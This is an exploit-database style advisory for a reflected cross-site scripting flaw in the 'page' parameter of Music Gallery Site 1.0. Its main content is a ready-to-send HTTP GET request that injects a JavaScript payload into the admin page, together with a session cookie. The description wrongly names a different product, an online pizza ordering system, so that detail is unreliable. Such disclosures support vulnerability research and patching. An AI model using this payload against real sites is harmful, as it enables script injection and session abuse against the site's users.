Music Gallery Site 1.0 Cross Site Scripting

# Exploit Title: Music Gallery Site - Cross Site Scripting Vulnerability (Authenticated)# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-music.zip# Version: 1.0# Tested on: Windows, Linux## Description A reflected Cross Site Scripting vulnerability in the "page" parameter in Online Pizza Ordering System allows remote authenticated users to execute JavaScript code. ## Request PoC```GET /php-music/admin/?page=musics63401'%3balert(1)%2f%2f399 HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-music/admin/Cookie: PHPSESSID=05o776i4lcn4nm1h48he29gd9b```